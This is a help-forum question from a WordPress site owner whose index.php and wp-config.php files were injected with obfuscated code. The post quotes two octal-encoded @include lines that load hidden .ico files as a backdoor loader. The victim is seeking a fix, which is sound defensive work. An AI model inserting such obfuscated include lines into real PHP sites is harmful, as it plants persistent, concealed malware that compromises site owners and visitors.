title: Alien code appears in wordpress installation critical files
body: <p>From 4 days ago to now some code automatically generated in my website which is operating with wordpress as a CMS.</p>
  
  <p>The code that was generated inside <code>index.php</code> file is this:</p>
  
  <pre><code>/*12a36*/
  
  @include "\057home\057ippl\145ir/p\165blic\137html\057blog\057wp-i\156clud\145s/ce\162tifi\143ates\057.3b4\141428f\056ico";
  
  /*12a36*/
  </code></pre>
  
  <p>And the code generated inside <code>wp-config</code> file is:</p>
  
  <pre><code>/*e2db6*/
  
  @include "\057h\157m\145/\151p\160l\145i\162/\160u\142l\151c\137h\164m\154/\167p\055i\156c\154u\144e\163/\122e\161u\145s\164s\057R\145s\160o\156s\145/\0563\1455\065f\070d\062.\151c\157";
  
  /*e2db6*/
  </code></pre>
  
  <p>The website going reports 404 error.
  I need advice / help as to how can I fix this problem.</p>
  
  <p>when this code generated inside this files <code>index.php</code> and <code>wp-config</code> my server automatically deleted the index.php file.</p>
  
  <p>Also as side information - I use i-theme security plugin.</p>